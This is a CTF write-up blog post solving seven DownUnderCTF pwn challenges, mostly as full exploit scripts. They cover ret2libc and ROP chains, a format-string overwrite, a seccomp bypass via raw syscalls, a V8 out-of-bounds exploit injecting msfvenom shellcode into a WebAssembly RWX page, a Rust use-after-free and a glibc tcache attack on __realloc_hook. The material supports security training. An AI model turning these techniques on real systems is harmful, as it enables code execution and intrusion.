wp DownUnderCTF

First Post:

Last Update:

Word Count:
5.3k

Read Time:
33 min

DownUnderCTF PWN WP

platform

1 [shellthis]

There is a backdoor function named get_shell, then use ret2txt way to get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# author: i0gan
# env: pwndocker [skysider/pwndocker (v: 2020/09/09)]

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'

elf_path = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.23'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)

# remote server ip and port
server_ip = "chal.duc.tf"
server_port = 30002

# if local debug
LOCAL = 0
LIBC = 0


#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)


#--------------------------exploit--------------------------
def exploit():
li('exploit...')
p = b'A' * 0x30
p += p64(0)
p += p64(elf.sym['get_shell'])
sl(p)


def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

2 [return-to-what]

This vuln

1
2
3
4
5
6
7
__int64 vuln()
{
char v1; // [rsp+0h] [rbp-30h]

puts("Where would you like to return to?");
return gets(&v1);
}

This vuln is a common stack overflow vuln, but no backdoor function we can use. we should leak libc base address before program end, then use ret2libc methond to call system function to get shell.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# author: i0gan
# env: pwndocker [skysider/pwndocker (v: 2020/09/09)]

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'

elf_path = './return-to-what'
MODIFY_LD = 0
arch = '64'
libc_v = '2.23'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)

# remote server ip and port
server_ip = "chal.duc.tf"
server_port = 30003

# if local debug
LOCAL = 0
LIBC = 0


#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)


#--------------------------exploit--------------------------
def exploit():
li('exploit...')
pop_rdi = 0x040122b
ret = 0x0401016
p = b'A' * 0x30
p += p64(0)
p += p64(pop_rdi)
p += p64(elf.got['puts'])
p += p64(elf.plt['puts'])
p += p64(0x4011AD)
db()
sla('?', p)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
li('leak: ' + hex(leak))
libc_base = leak - 0x0809c0
li('lib_base: ' + hex(libc_base))
system = libc_base + 0x04f440
sh_str = libc_base + 0x1b3e9a
p = b'A' * 0x30
p += p64(0)
p += p64(ret)
p += p64(pop_rdi)
p += p64(sh_str)
p += p64(system)
sla('?', p)

def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

3 [echos]

This program is a echo server, to print what you input. It’s easy to find a vulnerability in this program.It is format vul. we need use this vulnerability to leak main function return address in stack and leak libc base address. Use libc database to search libc version by countent of leak then to download it. a one_gadget tool is very useful tool for searching one gadget in libc. In order to get shell we should modify main ret address in stack as one gadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# author: i0gan
# env: pwndocker [skysider/pwndocker (v: 2020/09/09)]

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


#context.log_level='debug'

elf_path = './echos.bk'
MODIFY_LD = 0
arch = '64'
libc_v = '2.27'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)

# remote server ip and port
server_ip = "chal.duc.tf"
server_port = 30001

# if local debug
LOCAL = 0
LIBC = 0


#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
offset = 8
p = '%11$p,%27$p,%19$p'

sl(p)
ru('0x')
leak = int(r(12), 16)
elf_base = leak - (0x563d9cb8e8dd - 0x563d9cb8e000)
li('elf_base: ' + hex(elf_base))

# leak stack base
ru(',0x')
leak = int(r(12), 16)
li('stack_leak: ' + hex(leak))
main_ret = leak - (0x7ffc1f9e87e0 - 0x7ffc1f9e8708)
li('main_ret: ' + hex(main_ret))

ru(',0x')
leak = int(r(12), 16)
li('main_init_leak: ' + hex(leak - 231))
db()
libc_base = leak - (0x7f7d13204b97 - 0x7f7d131e3000)
li('libc_base: ' + hex(libc_base))
one_gadget = libc_base + 0x4f322


p = '%' + str((one_gadget & 0xFF0000) >> 16) + 'c%10$hhn'
p += 'A' * 4
p += p64(main_ret + 2) #0xF0000
li('one_gadget: ' + hex(one_gadget))
#db()
sl(p)

ru('AAAA')
p = '%' + str(one_gadget & 0xFFFF) + 'c%10$hn'
p += 'A' * 3
p += p64(main_ret + 0) #0xF0000
sl(p)

def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

4 [return-to-whats-revenge]

Same as before, there is a stack overflow vulnerability in this program. but this program has a protection in sandbox function. It is a seccomp rule to forbid some syscall. The sandbox function content as follows:

1
2
3
4
5
6
7
8
9
filter[24].code = 6;
filter[24].jt = 0;
filter[24].jf = 0;
filter[0x18].k = 0;
bpf_resolve_jumps(&lab, filter, 0x19uLL);
prog.len = 0x19;
prog.filter = filter;
prctl(0x26, 1LL, 0LL, 0LL, 0LL, *(_QWORD *)&prog.len, filter);// PR_SET_NO_NEW_PRIVS, no execve
prctl(0x16, 2LL, &prog);

but this program I can’t use seccomp tool to dump the rule. so it has a bad syscall when I use orw method to exploit this program, this rule cannot use open function to open file, must use syscall with specific value in regisger to realize open function, or it will call open syscall failed! That’s a place easily to make a mistake.

​ you must create a open function syscall by yourself, or while calling open function in libc will be a bad syscall.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# author: i0gan
# env: pwndocker [skysider/pwndocker (v: 2020/09/09)]

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'

elf_path = './return-to-whats-revenge.bk'

MODIFY_LD = 0
arch = '64'
libc_v = '2.23'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)

# remote server ip and port
server_ip = "chal.duc.tf"
server_port = 30006

# if local debug
LOCAL = 1
LIBC = 1


#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)


#--------------------------exploit--------------------------
def exploit():
li('exploit...')
pop_rdi = 0x04019db
ret = 0x0401016
bss = 0x404000 + 0x100
p = b'A' * 0x30
p += p64(0)
p += p64(pop_rdi)
p += p64(elf.got['puts'])
p += p64(elf.plt['puts'])
p += p64(0x4011DA)

sla('?', p)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
li('leak: ' + hex(leak))
libc_base = leak - 0x0809c0
li('lib_base: ' + hex(libc_base))
pop_rdx = libc_base + 0x1b96
pop_rsi = libc_base + 0x23e6a
pop_rax = libc_base + 0x439c8
libc_read = libc_base + 0x110070
libc_open = libc_base + 0x10fc40
syscall = libc_base + 0x11007f

p = b'A' * 0x30
p += p64(0)
# read
p += p64(pop_rdi) + p64(0x0)
p += p64(pop_rsi) + p64(bss)
p += p64(pop_rdx) + p64(0x100)
p += p64(libc_read)

# open
p += p64(pop_rdi) + p64(bss)
p += p64(pop_rsi) + p64(0)
p += p64(pop_rdx) + p64(0)
p += p64(pop_rax) + p64(2)
p += p64(syscall)

# read
p += p64(pop_rdi) + p64(0x3)
p += p64(pop_rsi) + p64(bss)
p += p64(pop_rdx) + p64(0x40)
p += p64(libc_read)

# puts
p += p64(pop_rdi)
p += p64(bss)
p += p64(elf.plt['puts'])

#db()

sla('?', p)

#p = b'/chal/flag.txt\x00'
p = b'flag.txt\x00'
sl(p);


def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

5 [is-this-pwn-or-web]

This puzzle is not a python sandbox escape, it is a javascript memory overflow.

js exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
/* This challenge is meant to be extremely hard. The way this exploit goes is
* essentially as follows:
*
* Step 1: Read the patch.diff file to figure out the vulnerability
*
* Step 2: Use the vulnerability to get a corrupted float array. You can use
* this array to overwrite its own length to a very large number
*
* Step 3: Once you've done this, exploitation becomes (relatively) easy. There
* are loads of blog posts and other V8 exploits that you can use as
* a starting point. I'll list some below. The only issue will be that
* V8 somewhat recently started shipping with pointer compression, and
* most blog posts / exploits will be made for challenges / vulns from
* V8 versions without pointer compression.
*
* https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
* https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/
* https://tcode2k16.github.io/blog/posts/2020-03-15-confidence-ctf/#chromatic-aberration
* https://blog.hexrabbit.io/2020/03/16/chromatic-aberration-writeup/ (use google translate)
* https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/ (very old)
*
* If you still have questions regarding this challenge, feel free to DM me
* anywhere. I'll do my best to respond to queries!
*
* Discord: Faith#2563
* Twitter: @farazsth98
*/

// Helper functions setup to convert between doubles and numbers when needed
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u32_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) == float
f64_buf[0] = val;
return BigInt(u32_buf[0]) + (BigInt(u32_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) == BigInt
u32_buf[0] = Number(val & 0xffffffffn);
u32_buf[1] = Number(val >> 32n);
return f64_buf[0];
}

function hex(val) { // typeof(val) == BigInt
return "0x" + val.toString(16);
}

// We set up a web assembly page. This is mapped as an RWX page that we will
// later write shellcode into.
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

console.log("[+] WebAssembly RWX page setup!");

// Next, set up three arrays. These will be allocated one after another because
// of the deterministic nature of the V8 heap. We corrupt the float array.
// You can find their offsets relative to each other using GDB.
//
// While we do this, we also trigger the vulnerability to get a corrupted
// float array in `float_arr`
var float_arr = [1.1];
float_arr = float_arr.slice(0); // Trigger the vuln
var addrof_arr = [{}, {}]; // Used for the addrof primitive later
var arb_read_arr = [1.1]; // Used for the arbitrary read primitive later

// We set up an ArrayBuffer and a DataView. We will use these later to write
// our shellcode into the RWX page.
var buf = new ArrayBuffer(0x100);
var dataview = new DataView(buf);

console.log("[+] Corrupting float_arr's length to 2048");

// We need to store the current `elements` ptr before we corrupt the length
// because corrupting the length also requires us to corrupt the `elements` ptr
// in the process
var float_arr_elem = ftoi(float_arr[2]) & 0xffffffffn;

// Corrupt the length and keep the `elements` ptr intact
float_arr[2] = itof((0x1000n << 32n) + float_arr_elem);

if (float_arr.length === 2048) {
console.log("[+] Corruption successful!");
} else {
console.log("[!] Corruption failed. Try again.");
throw error;
}

// Setup addrof primitive
// Bottom 32 bits of float_arr[4] corresponds to addrof_arr[0]
// We simply set addrof_arr[0] to the object whose address we want to leak
// Then we read from float_arr[4]
function addrof(obj) {
addrof_arr[0] = obj;
return ftoi(float_arr[4]) & 0xffffffffn;
}

console.log("[+] Addrof primitive has been setup");

// Setup an arbitrary read primitive for the V8 compressed heap
// We do this by overwriting the elements pointer of our arb_read_arr to a
// chosen address - 8 (making sure to keep the length set to 0x1000). We
// subtract 8 because for any float array, arr[0] == (*elements_ptr + 8).
// The elements pointer of arb_read_arr is at float_arr[17], offset found
// through GDB.
// addr must be a 32-bit value here
function compressed_arb_read(addr) {
float_arr[17] = itof((0x1000n << 32n) + addr - 8n);
return ftoi(arb_read_arr[0]);
}

console.log("[+] Arbitrary read primitive for the compressed heap has been setup");

// Setup a function that writes our shellcode to a given address
// We do this by overwriting the backing store address of the ArrayBuffer we
// previously allocated to our chosen address. We then use the DataView that we
// also allocated to write our shellcode to that address space.
//
// Using GDB, we find that the backing store address of our ArrayBuffer is
// misaligned at float_arr[20] and float_arr[21]. The misalignment is as
// follows:
//
// * The upper 32-bits of float_arr[20] correspond to the lower 32 bits of
// the backing store address
// * The lower 32-bits of float_arr[21] correspond to the upper 32 bits of
// the backing store address
//
// If this is confusing to you, that's because it is very confusing :p I would
// suggest looking at this in GDB and comparing whatever I mentioned above to
// what you see in GDB until it makes sense
//
// addr must be a 64-bit value here
function copy_shellcode(addr, shellcode) {
// The backing store address of buf is not aligned to 64 bytes, so we have
// to write the upper 32-bits and the lower 32-bits of our address to two
// separate indices like this
float_arr[20] = itof((addr & 0xffffffffn) << 32n);
float_arr[21] = itof((addr & 0xffffffff00000000n) >> 32n);

for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}

// msfvenom -p linux/x64/exec CMD='./flagprinter' --format dword
var shellcode = [0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x0000000e,
0x6c662f2e, 0x72706761, 0x65746e69, 0x57560072, 0x0fe68948, 0x00000005];

// Now, we leak the address of our RWX page
// Using GDB, we know this address is at *(&wasm_instance + 0x68)
var rwx_page_addr = compressed_arb_read(addrof(wasm_instance) + 0x68n);

console.log("[+] RWX page address found: " + hex(rwx_page_addr));

// Finally, we copy our shellcode to the RWX page and call the WASM function to
// execute it.
console.log("[+] Copying ./flagprinter shellcode to RWX page");
copy_shellcode(rwx_page_addr, shellcode);

console.log("[+] Printing flag!");
f();

6 [Zombie]

This is a medium heap exploit which involves exploiting a soundness hole in the rust type system. Everything is already set up for you, so you don’t have to think too hard about the actual soundness hole though.

The idea here is that you first create a dangling reference to a freed block of memory on the heap. This is done through the infect command, which calls the zombie function with a user provided parameter.

1
2
3
4
5
fn zombie(size: usize) -> &'static mut [u8] {
let mut object = vec![b'A'; size];
let r = virus(object.as_mut());
r
}

This zombie function first creates a heap allocated array filled with 0x41 of a user defined size, then calls the virus function.

This is a modification of rustlang issue 25860 as hinted in the code comments.

https://github.com/rust-lang/rust/issues/25860

This is a long standing hole in rust’s (normally memory safe) type system which allows one to convert a reference lifetime to the static lifetime and therefore bypass rust’s borrow checker: convert &'a T to &'static T and a big no-no for memory safety.

I have modified this to work with a mutable pointer so now there is a dangling reference which can be used to both read from, and write to the freed block of memory.

Usually this could be done easily using rust’s unsafe keyword, but I decided to make this challenge extra baffling in exchange for source code access.

The Challenge

The idea behind this challenge is that we have a shell with various commands, one of which is the “get flag” command, however that command is hardcoded to be ignored and a new command read in.

1
2
3
4
5
6
7
match line.as_str().trim() {
"get flag" => continue,
"infect" => infected = Some(infect(&mut lines)),
"eat brains" => eat_brains(&mut lines, &mut infected),
"inspect brains" => inspect_brains(&mut lines, &mut infected),
_ => (),
}

after the command is finished executing there is another check to see if the command was “get flag”, and if it was the flag is printed out.

1
2
3
4
if line.as_str().trim() == "get flag" {
let flag = read_to_string("flag.txt").unwrap();
println!("Here's the flag: {}", &flag);
}

So we need to change the command while it is still inside the buffer during the execution of one of our commands.

We also have other commands, “eat brains” and “inspect brains” which allow us to read from and write to our dangling reference returned from the infect function.

The final piece of the puzzle is understanding how the String struct works in rust. It contains a pointer to the heap, and will reallocate to grow when all the heap space for its buffer is used up. In this case we are reading stdin line by line, so if a line is longer than any have previously been, it is possible to force the String struct in the line variable to reallocate to a buffer that we have previously freed.

The Exploit

First our normal setup:

1
2
3
from pwn import *

p = remote("localhost", 1337)

Now our first step is to create our dangling pointer:

1
2
p.sendline("infect")
p.sendline("32")

This will create a pointer to a 32 byte piece of freed memory and then store that in the infected variable in main.

1
p.sendline("eat brains                     ")

Since the .trim() is called on each line before it is compared against the instructions, the trailing whitespace in this command will be ignored and the command recognised as “eat brains”.

The purpose of the trailing whitespace here is to force the line containing this command to allocate a 32 byte buffer to store the command. This will take the buffer we have previously freed and have a dangling reference to back out of the freed bins and use it as part of the string buffer.

Now we have also entered the “eat brains” function at the same time, so we are able to modify the buffer that now contains the “eat brains “ string.

The final piece of this puzzle is understanding how strings work in rust. Unlike in C, rust strings are not null terminated, instead the length of the string is stored alongside the pointer to the string and therefore in this case we do not have control over the length of the string.

If we simply replaced the first few bytes of the command buffer with the command we wanted and a null terminator we would end up with:
“get flag\x00s “

When this is .trim()ed the result would be “get flag\x00s” which would not match the required string “get flag”. Instead we overwrite a few more bytes of the command with the space character:

1
2
3
4
5
6
7
8
9
def brains(string):
counter = 0
for c in string:
p.sendline(str(counter))
p.sendline(str(ord(c)))
counter += 1
p.sendline("done")

brains("get flag ")

Note the additional spaces at the end of the command, this will overwrite the “ns” in “brains” and cause the .trim() method to trim the command down to “get flag”, which then prints the flag.

7-VECC

This is a hard heap exploitation challenge.

The idea is to first obtain a read/write primitive on the heap, then progressively leak data until you know the location of libc, then overwrite the __realloc_hook to call system(/bin/sh).

1 - Identifying the vulnerability

The first thing to note when inspecting the binary logic is that bounds are being checked correctly so we have no buffer overflows or heap corruption, and there are no obvious double-frees or use-after-frees, however there is the glaring vulnerability that allocations are never zeroed and we must leverage this and only this to get a shell.

2 - The essence of the vulnerability

For this exploit all you need is the tcache. There are the veccs - which are simillar to c++’s std::vector or rust’s Vec. This is a small struct with a pointer (to a buffer), a length (of the used portion of the buffer), and a capacity (the maximum buffer length before reallocation is necessary). When a vecc is first created all fields should be NULLed to signal that a new buffer must be allocated upon first usage.

The key here is to notice that since allocations are not zeroed it is possible to groom the stack, then allocate a vecc from a tcache chunk without erasing the data on it.

This means that your allocated struct will leave the pointer as the fd pointer of the chunk from the tcache, as well as leaving the length and capacity unchanged from when the chunk was freed.

Furthermore since we have some control over the stack, it is possible to force this chunk fd pointer to point to another vecc struct as if it was the buffer of our new allocation.

1
2
3
4
5
6
 A                  B
+-----------+ +-----------+ +-----------+
| buf +----------> | buf +----------> | actual |
+-----+-----+ +-----+-----+ | buffer |
| len | cap | | len | cap | | |
+-----+-----+ +-----+-----+ +-----------+

Once we have the above structure we are free to use A to overwrite all 3 fields of B as if it was a regular byte buffer, then use B to read or write data at will.

This is made a little more difficult in that we do not have arbitrary write on the buffer of any of our veccs, instead we only have the ability to clear and append to the buffers.

The clear operation simply zeroes the len field of the struct and does nothing else.

The append operation is a little more complicated, it:

  • Allocates a temporary buffer of user defined size n
  • Reads n bytes into the temporary buffer
  • Checks whether len + n > cap - this would overflow the buffer
  • If necessary reallocates the vecc’s buffer to the next power of 2 size that would fit the existing buffer and the n new bytes while copying the data across, cap it also updated
  • Append the user data from the temporary buffer to the vecc’s buffer now that we’re sure we can not overflow it
  • Free the temporary buffer
  • Update the len to reflect the size of the new used portion of the buffer

The end result is that a temp buffer is allocated and freed, and the vecc’s buffer is possibly reallocated to fit the required size, then the user data is appended to the vecc’s existing data.

Once we have our crafted heap structure we can use a clear, followed by an append to overwrite the entire vecc struct at will.

3 - The exploit

For this exploit we first do some housekeeping since we have a shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

def exit_proc():
p.recvuntil("> ")
p.sendline("0")

def create_vecc(index):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("> ")
p.sendline("{}".format(index))
p.recvline()

def destroy_vecc(index):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("> ")
p.sendline("{}".format(index))
p.recvline()

def append_vecc(index, buffer, readline=True):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline("{}".format(index))
p.recvline()
p.sendline("{}".format(len(buffer)))
p.send(buffer)
if readline:
p.recvline()

def clear_vecc(index):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("> ")
p.sendline("{}".format(index))
p.recvline()

def show_vecc(index, bytes):
p.recvuntil("> ")
p.sendline("5")
p.recvuntil("> ")
p.sendline("{}".format(index))
return p.recv(bytes)

# p = remote("localhost", 1337)
p = process("../publish/vecc")

This simply reflects all of the shell commands we might need to use. Now lets get to grooming the heap for our primitive.

1
2
create_vecc(0)
append_vecc(0, b"A" * 0x10)

We first create a vecc struct then append bytes to it.

It is important to write 0x10 bytes to this buffer since our aim is to have this buffer later interpreted as a vecc struct. For this to work we must make sure that it will be placed in the same tcache bin as a vecc struct would and therefore we should match the size of the vecc struct.

Note that this will also allocate and free a temporary buffer of size 0x10 while user data is read in, we now have 1 chunk in the tcache.

1
destroy_vecc(0)

After this line first the vecc’s buffer will be freed, then the vecc will be NULLed and freed.

Now the tcache looks like this:

1
2
3
4
5
6
7
8
tcachebin:

(was vecc) (was buffer) (was temp)
+-----------+ +-----------+ +-----------+
| fd +----------> | fd +----------> | fd = NULL |
| 000000000 | | AAAAAAAAA | | AAAAAAAAA |
| 000000000 | | AAAAAAAAA | | AAAAAAAAA |
+-----------+ +-----------+ +-----------+

Finally we complete our crafted structure:

1
2
3
create_vecc(1)
create_vecc(2)
create_vecc(3)

Now we have allocated back from the tcache with some new structure:

1
2
3
4
5
6
 1                  2                  3
+-----------+ +-----------+ +-----------+
| buf +----------> | buf +----------> | buf = NULL|
+-----+-----+ +-----+-----+ +-----+-----|
| 000 | 000 | | AAA | AAA | | AAA | AAA |
+-----+-----+ +-----+-----+ +-----------+

Since 1 has capacity 0 any write will resule in a reallocation, so we don’t touch 1 from now on, but now with 2 and 3 we have the same structure as in the original diagram - we are able to use 2 to overwrite the entire of 3, then utilise 3 for arbitrary read / write.

Now we know we have PIE disabled, therefore we are able to leak libc addresses from the GOT.

1
2
3
4
5
6
7
8
9
10
11
12
13
puts_got = 0x601fa0
clear_vecc(2)
append_vecc(2, p64(puts_got) + p32(8) + b"AAAA")
puts_libc = u64(show_vecc(3, 8))

print("Puts address: {}".format(hex(puts_libc)))

free_got = 0x601f90
clear_vecc(2)
append_vecc(2, p64(free_got) + p32(8) + b"AAAA")
free_libc = u64(show_vecc(3, 8))

print("Free address: {}".format(hex(free_libc)))

This is enough to figure out the version of libc being used and the location of any other symbols needed.

1
2
3
4
5
6
libc_base = puts_libc - 0x809c0
system = libc_base + 0x4f440
realloc_hook = libc_base + 0x3ebc28
str_bin_sh = libc_base + 0x1b3e9a

print("Realloc hook address: {}".format(hex(realloc_hook)))

Now we overwrite our realloc hook with the address of system.

1
2
3
clear_vecc(2)
append_vecc(2, p64(realloc_hook) + p32(0) + b"AAAA")
append_vecc(3, p64(system))

Finally, we overwrite the buffer pointer of one of our vecc structures with a pointer to “/bin/sh” from within libc, then trigger a reallocation by appending a single extra byte, giving us a shell.

1
2
3
4
5
clear_vecc(2)
append_vecc(2, p64(str_bin_sh) + p32(8) + p32(8))
append_vecc(3, "A", readline=False)

p.interactive()
打赏点小钱
支付宝 | Alipay
微信 | WeChat